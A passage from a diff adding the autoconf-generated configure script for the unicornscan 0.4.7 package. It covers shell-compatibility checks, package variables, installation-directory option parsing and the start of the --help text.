+ echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0") || { + echo No shell found that supports shell functions. + echo Please tell autoconf@gnu.org about your system, + echo including any error possibly output before this + echo message +} + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir +fi +echo >conf$$.file +if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' +elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln +else + as_ln_s='cp -p' +fi +rm -f conf$$ conf$$.exe conf$$.dir/conf$$.file conf$$.file +rmdir conf$$.dir 2>/dev/null + +if mkdir -p . 2>/dev/null; then + as_mkdir_p=: +else + test -d ./-p && rmdir ./-p + as_mkdir_p=false +fi + +# Find out whether ``test -x'' works. Don't use a zero-byte file, as +# systems may use methods other than mode bits to determine executability. +cat >conf$$.file <<_ASEOF +#! /bin/sh +exit 0 +_ASEOF +chmod +x conf$$.file +if test -x conf$$.file >/dev/null 2>&1; then + as_executable_p="test -x" +else + as_executable_p=: +fi +rm -f conf$$.file + +# Sed expression to map a string onto a valid CPP name. +as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" + +# Sed expression to map a string onto a valid variable name. +as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" + + + + +# Check that we are running under the correct shell. +SHELL=${CONFIG_SHELL-/bin/sh} + +case X$ECHO in +X*--fallback-echo) + # Remove one level of quotation (which was required for Make). + ECHO=`echo "$ECHO" | sed 's,\\\\\$\\$0,'$0','` + ;; +esac + +echo=${ECHO-echo} +if test "X$1" = X--no-reexec; then + # Discard the --no-reexec flag, and continue. + shift +elif test "X$1" = X--fallback-echo; then + # Avoid inline document here, it may be left over + : +elif test "X`($echo '\t') 2>/dev/null`" = 'X\t' ; then + # Yippee, $echo works! + : +else + # Restart under the correct shell. + exec $SHELL "$0" --no-reexec ${1+"$@"} +fi + +if test "X$1" = X--fallback-echo; then + # used as fallback echo + shift + cat </dev/null 2>&1 && unset CDPATH + +if test -z "$ECHO"; then +if test "X${echo_test_string+set}" != Xset; then +# find a string as large as possible, as long as the shell can cope with it + for cmd in 'sed 50q "$0"' 'sed 20q "$0"' 'sed 10q "$0"' 'sed 2q "$0"' 'echo test'; do + # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... + if (echo_test_string="`eval $cmd`") 2>/dev/null && + echo_test_string="`eval $cmd`" && + (test "X$echo_test_string" = "X$echo_test_string") 2>/dev/null + then + break + fi + done +fi + +if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + : +else + # The Solaris, AIX, and Digital Unix default echo programs unquote + # backslashes. This makes it impossible to quote backslashes using + # echo "$something" | sed 's/\\/\\\\/g' + # + # So, first we look for a working echo in the user's PATH. + + lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR + for dir in $PATH /usr/ucb; do + IFS="$lt_save_ifs" + if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && + test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$dir/echo" + break + fi + done + IFS="$lt_save_ifs" + + if test "X$echo" = Xecho; then + # We didn't find a better echo, so look for alternatives. + if test "X`(print -r '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`(print -r "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # This shell has a builtin print -r that does the trick. + echo='print -r' + elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && + test "X$CONFIG_SHELL" != X/bin/ksh; then + # If we have ksh, try running configure again with it. + ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} + export ORIGINAL_CONFIG_SHELL + CONFIG_SHELL=/bin/ksh + export CONFIG_SHELL + exec $CONFIG_SHELL "$0" --no-reexec ${1+"$@"} + else + # Try using printf. + echo='printf %s\n' + if test "X`($echo '\t') 2>/dev/null`" = 'X\t' && + echo_testing_string=`($echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + # Cool, printf works + : + elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($ORIGINAL_CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL + export CONFIG_SHELL + SHELL="$CONFIG_SHELL" + export SHELL + echo="$CONFIG_SHELL $0 --fallback-echo" + elif echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo '\t') 2>/dev/null` && + test "X$echo_testing_string" = 'X\t' && + echo_testing_string=`($CONFIG_SHELL "$0" --fallback-echo "$echo_test_string") 2>/dev/null` && + test "X$echo_testing_string" = "X$echo_test_string"; then + echo="$CONFIG_SHELL $0 --fallback-echo" + else + # maybe with a smaller string... + prev=: + + for cmd in 'echo test' 'sed 2q "$0"' 'sed 10q "$0"' 'sed 20q "$0"' 'sed 50q "$0"'; do + if (test "X$echo_test_string" = "X`eval $cmd`") 2>/dev/null + then + break + fi + prev="$cmd" + done + + if test "$prev" != 'sed 50q "$0"'; then + echo_test_string=`eval $prev` + export echo_test_string + exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "$0" ${1+"$@"} + else + # Oops. We lost completely, so just stick with echo. + echo=echo + fi + fi + fi + fi +fi +fi + +# Copy echo and quote the copy suitably for passing to libtool from +# the Makefile, instead of quoting the original, which is used later. +ECHO=$echo +if test "X$ECHO" = "X$CONFIG_SHELL $0 --fallback-echo"; then + ECHO="$CONFIG_SHELL \\\$\$0 --fallback-echo" +fi + + + + +tagnames=${tagnames+${tagnames},}CXX + +tagnames=${tagnames+${tagnames},}F77 + +exec 7<&0 &1 + +# Name of the host. +# hostname on some systems (SVR3.2, Linux) returns a bogus exit status, +# so uname gets run too. +ac_hostname=`(hostname || uname -n) 2>/dev/null | sed 1q` + +# +# Initializations. +# +ac_default_prefix=/usr/local +ac_clean_files= +ac_config_libobj_dir=. +LIBOBJS= +cross_compiling=no +subdirs= +MFLAGS= +MAKEFLAGS= +SHELL=${CONFIG_SHELL-/bin/sh} + +# Identity of this package. +PACKAGE_NAME='unicornscan' +PACKAGE_TARNAME='unicornscan' +PACKAGE_VERSION='0.4.7' +PACKAGE_STRING='unicornscan 0.4.7' +PACKAGE_BUGREPORT='osace-users@lists.sourceforge.net' + +ac_unique_file="src/main.c" +# Factoring default headers for most tests. +ac_includes_default="\ +#include +#if HAVE_SYS_TYPES_H +# include +#endif +#if HAVE_SYS_STAT_H +# include +#endif +#if STDC_HEADERS +# include +# include +#else +# if HAVE_STDLIB_H +# include +# endif +#endif +#if HAVE_STRING_H +# if !STDC_HEADERS && HAVE_MEMORY_H +# include +# endif +# include +#endif +#if HAVE_STRINGS_H +# include +#endif +#if HAVE_INTTYPES_H +# include +#endif +#if HAVE_STDINT_H +# include +#endif +#if HAVE_UNISTD_H +# include +#endif" + +ac_subst_vars='SHELL +PATH_SEPARATOR +PACKAGE_NAME +PACKAGE_TARNAME +PACKAGE_VERSION +PACKAGE_STRING +PACKAGE_BUGREPORT +exec_prefix +prefix +program_transform_name +bindir +sbindir +libexecdir +datarootdir +datadir +sysconfdir +sharedstatedir +localstatedir +includedir +oldincludedir +docdir +infodir +htmldir +dvidir +pdfdir +psdir +libdir +localedir +mandir +DEFS +ECHO_C +ECHO_N +ECHO_T +LIBS +build_alias +host_alias +target_alias +SHLICC2 +CC +CFLAGS +LDFLAGS +CPPFLAGS +ac_ct_CC +EXEEXT +OBJEXT +build +build_cpu +build_vendor +build_os +host +host_cpu +host_vendor +host_os +GREP +EGREP +LN_S +ECHO +AR +RANLIB +STRIP +CPP +CXX +CXXFLAGS +ac_ct_CXX +CXXCPP +F77 +FFLAGS +ac_ct_F77 +LIBTOOL +SET_MAKE +LIBTOOL_DEPS +AWK +INSTALL_PROGRAM +INSTALL_SCRIPT +INSTALL_DATA +LIBOBJS +DNETCFLG +DNETLIBS +CHCON +SP_MODE +RANDOM_DEVICE +USE_MAKE +NEED_AUX_LIBS +NOPRIV_USER +DESTDIR +DBTYPES +PG_LDFLAGS +PG_CPPFLAGS +MY_LDFLAGS +MY_CPPFLAGS +U_COPTS +U_CDEFS +U_CINCS +U_LDFLAGS +U_LIBS +sendername +listenername +targetname +LTLIBOBJS' +ac_subst_files='' + ac_precious_vars='build_alias +host_alias +target_alias +CC +CFLAGS +LDFLAGS +CPPFLAGS +CPP +CXX +CXXFLAGS +CCC +CXXCPP +F77 +FFLAGS' + + +# Initialize some variables set by options. +ac_init_help= +ac_init_version=false +# The variables have the same names as the options, with +# dashes changed to underlines. +cache_file=/dev/null +exec_prefix=NONE +no_create= +no_recursion= +prefix=NONE +program_prefix=NONE +program_suffix=NONE +program_transform_name=s,x,x, +silent= +site= +srcdir= +verbose= +x_includes=NONE +x_libraries=NONE + +# Installation directory options. +# These are left unexpanded so users can "make install exec_prefix=/foo" +# and all the variables that are supposed to be based on exec_prefix +# by default will actually change. +# Use braces instead of parens because sh, perl, etc. also accept them. +# (The list follows the same order as the GNU Coding Standards.) +bindir='${exec_prefix}/bin' +sbindir='${exec_prefix}/sbin' +libexecdir='${exec_prefix}/libexec' +datarootdir='${prefix}/share' +datadir='${datarootdir}' +sysconfdir='${prefix}/etc' +sharedstatedir='${prefix}/com' +localstatedir='${prefix}/var' +includedir='${prefix}/include' +oldincludedir='/usr/include' +docdir='${datarootdir}/doc/${PACKAGE_TARNAME}' +infodir='${datarootdir}/info' +htmldir='${docdir}' +dvidir='${docdir}' +pdfdir='${docdir}' +psdir='${docdir}' +libdir='${exec_prefix}/lib' +localedir='${datarootdir}/locale' +mandir='${datarootdir}/man' + +ac_prev= +ac_dashdash= +for ac_option +do + # If the previous option needs an argument, assign it. + if test -n "$ac_prev"; then + eval $ac_prev=\$ac_option + ac_prev= + continue + fi + + case $ac_option in + *=*) ac_optarg=`expr "X$ac_option" : '[^=]*=\(.*\)'` ;; + *) ac_optarg=yes ;; + esac + + # Accept the important Cygnus configure options, so we can diagnose typos. + + case $ac_dashdash$ac_option in + --) + ac_dashdash=yes ;; + + -bindir | --bindir | --bindi | --bind | --bin | --bi) + ac_prev=bindir ;; + -bindir=* | --bindir=* | --bindi=* | --bind=* | --bin=* | --bi=*) + bindir=$ac_optarg ;; + + -build | --build | --buil | --bui | --bu) + ac_prev=build_alias ;; + -build=* | --build=* | --buil=* | --bui=* | --bu=*) + build_alias=$ac_optarg ;; + + -cache-file | --cache-file | --cache-fil | --cache-fi \ + | --cache-f | --cache- | --cache | --cach | --cac | --ca | --c) + ac_prev=cache_file ;; + -cache-file=* | --cache-file=* | --cache-fil=* | --cache-fi=* \ + | --cache-f=* | --cache-=* | --cache=* | --cach=* | --cac=* | --ca=* | --c=*) + cache_file=$ac_optarg ;; + + --config-cache | -C) + cache_file=config.cache ;; + + -datadir | --datadir | --datadi | --datad) + ac_prev=datadir ;; + -datadir=* | --datadir=* | --datadi=* | --datad=*) + datadir=$ac_optarg ;; + + -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ + | --dataroo | --dataro | --datar) + ac_prev=datarootdir ;; + -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ + | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) + datarootdir=$ac_optarg ;; + + -disable-* | --disable-*) + ac_feature=`expr "x$ac_option" : 'x-*disable-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid feature name: $ac_feature" >&2 + { (exit 1); exit 1; }; } + ac_feature=`echo $ac_feature | sed 's/-/_/g'` + eval enable_$ac_feature=no ;; + + -docdir | --docdir | --docdi | --doc | --do) + ac_prev=docdir ;; + -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) + docdir=$ac_optarg ;; + + -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) + ac_prev=dvidir ;; + -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) + dvidir=$ac_optarg ;; + + -enable-* | --enable-*) + ac_feature=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_feature" : ".*[^-_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid feature name: $ac_feature" >&2 + { (exit 1); exit 1; }; } + ac_feature=`echo $ac_feature | sed 's/-/_/g'` + eval enable_$ac_feature=\$ac_optarg ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix=$ac_optarg ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he | -h) + ac_init_help=long ;; + -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) + ac_init_help=recursive ;; + -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) + ac_init_help=short ;; + + -host | --host | --hos | --ho) + ac_prev=host_alias ;; + -host=* | --host=* | --hos=* | --ho=*) + host_alias=$ac_optarg ;; + + -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) + ac_prev=htmldir ;; + -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ + | --ht=*) + htmldir=$ac_optarg ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir=$ac_optarg ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir=$ac_optarg ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir=$ac_optarg ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir=$ac_optarg ;; + + -localedir | --localedir | --localedi | --localed | --locale) + ac_prev=localedir ;; + -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) + localedir=$ac_optarg ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst | --locals) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) + localstatedir=$ac_optarg ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir=$ac_optarg ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c | -n) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir=$ac_optarg ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix=$ac_optarg ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix=$ac_optarg ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix=$ac_optarg ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name=$ac_optarg ;; + + -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) + ac_prev=pdfdir ;; + -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) + pdfdir=$ac_optarg ;; + + -psdir | --psdir | --psdi | --psd | --ps) + ac_prev=psdir ;; + -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) + psdir=$ac_optarg ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir=$ac_optarg ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir=$ac_optarg ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site=$ac_optarg ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir=$ac_optarg ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir=$ac_optarg ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target_alias ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target_alias=$ac_optarg ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers | -V) + ac_init_version=: ;; + + -with-* | --with-*) + ac_package=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid package name: $ac_package" >&2 + { (exit 1); exit 1; }; } + ac_package=`echo $ac_package| sed 's/-/_/g'` + eval with_$ac_package=\$ac_optarg ;; + + -without-* | --without-*) + ac_package=`expr "x$ac_option" : 'x-*without-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_package" : ".*[^-_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid package name: $ac_package" >&2 + { (exit 1); exit 1; }; } + ac_package=`echo $ac_package | sed 's/-/_/g'` + eval with_$ac_package=no ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes=$ac_optarg ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries=$ac_optarg ;; + + -*) { echo "$as_me: error: unrecognized option: $ac_option +Try \`$0 --help' for more information." >&2 + { (exit 1); exit 1; }; } + ;; + + *=*) + ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` + # Reject names that are not valid shell variable names. + expr "x$ac_envvar" : ".*[^_$as_cr_alnum]" >/dev/null && + { echo "$as_me: error: invalid variable name: $ac_envvar" >&2 + { (exit 1); exit 1; }; } + eval $ac_envvar=\$ac_optarg + export $ac_envvar ;; + + *) + # FIXME: should be removed in autoconf 3.0. + echo "$as_me: WARNING: you should use --build, --host, --target" >&2 + expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && + echo "$as_me: WARNING: invalid host type: $ac_option" >&2 + : ${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option} + ;; + + esac +done + +if test -n "$ac_prev"; then + ac_option=--`echo $ac_prev | sed 's/_/-/g'` + { echo "$as_me: error: missing argument to $ac_option" >&2 + { (exit 1); exit 1; }; } +fi + +# Be sure to have absolute directory names. +for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ + libdir localedir mandir +do + eval ac_val=\$$ac_var + case $ac_val in + [\\/$]* | ?:[\\/]* ) continue;; + NONE | '' ) case $ac_var in *prefix ) continue;; esac;; + esac + { echo "$as_me: error: expected an absolute directory name for --$ac_var: $ac_val" >&2 + { (exit 1); exit 1; }; } +done + +# There might be people who depend on the old broken behavior: `$host' +# used to hold the argument of --host etc. +# FIXME: To remove some day. +build=$build_alias +host=$host_alias +target=$target_alias + +# FIXME: To remove some day. +if test "x$host_alias" != x; then + if test "x$build_alias" = x; then + cross_compiling=maybe + echo "$as_me: WARNING: If you wanted to set the --build type, don't use --host. + If a cross compiler is detected then cross compile mode will be used." >&2 + elif test "x$build_alias" != "x$host_alias"; then + cross_compiling=yes + fi +fi + +ac_tool_prefix= +test -n "$host_alias" && ac_tool_prefix=$host_alias- + +test "$silent" = yes && exec 6>/dev/null + + +ac_pwd=`pwd` && test -n "$ac_pwd" && +ac_ls_di=`ls -di .` && +ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || + { echo "$as_me: error: Working directory cannot be determined" >&2 + { (exit 1); exit 1; }; } +test "X$ac_ls_di" = "X$ac_pwd_ls_di" || + { echo "$as_me: error: pwd does not report name of working directory" >&2 + { (exit 1); exit 1; }; } + + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then the parent directory. + ac_confdir=`$as_dirname -- "$0" || +$as_expr X"$0" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$0" : 'X\(//\)[^/]' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X"$0" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + srcdir=$ac_confdir + if test ! -r "$srcdir/$ac_unique_file"; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r "$srcdir/$ac_unique_file"; then + test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." + { echo "$as_me: error: cannot find sources ($ac_unique_file) in $srcdir" >&2 + { (exit 1); exit 1; }; } +fi +ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" +ac_abs_confdir=`( + cd "$srcdir" && test -r "./$ac_unique_file" || { echo "$as_me: error: $ac_msg" >&2 + { (exit 1); exit 1; }; } + pwd)` +# When building in place, set srcdir=. +if test "$ac_abs_confdir" = "$ac_pwd"; then + srcdir=. +fi +# Remove unnecessary trailing slashes from srcdir. +# Double slashes in file names in object file debugging info +# mess up M-x gdb in Emacs. +case $srcdir in +*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; +esac +for ac_var in $ac_precious_vars; do + eval ac_env_${ac_var}_set=\${${ac_var}+set} + eval ac_env_${ac_var}_value=\$${ac_var} + eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} + eval ac_cv_env_${ac_var}_value=\$${ac_var} +done + +# +# Report the --help message. +# +if test "$ac_init_help" = "long"; then + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat <<_ACEOF +\`configure' configures unicornscan 0.4.7 to adapt to many kinds of systems. + +Usage: $0 [OPTION]... [VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print \`checking...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for \`--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or \`..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, \`make install' will install all the files in +\`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify +an installation prefix other than \`$ac_default_prefix' using \`--prefix', +for instance \`--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR 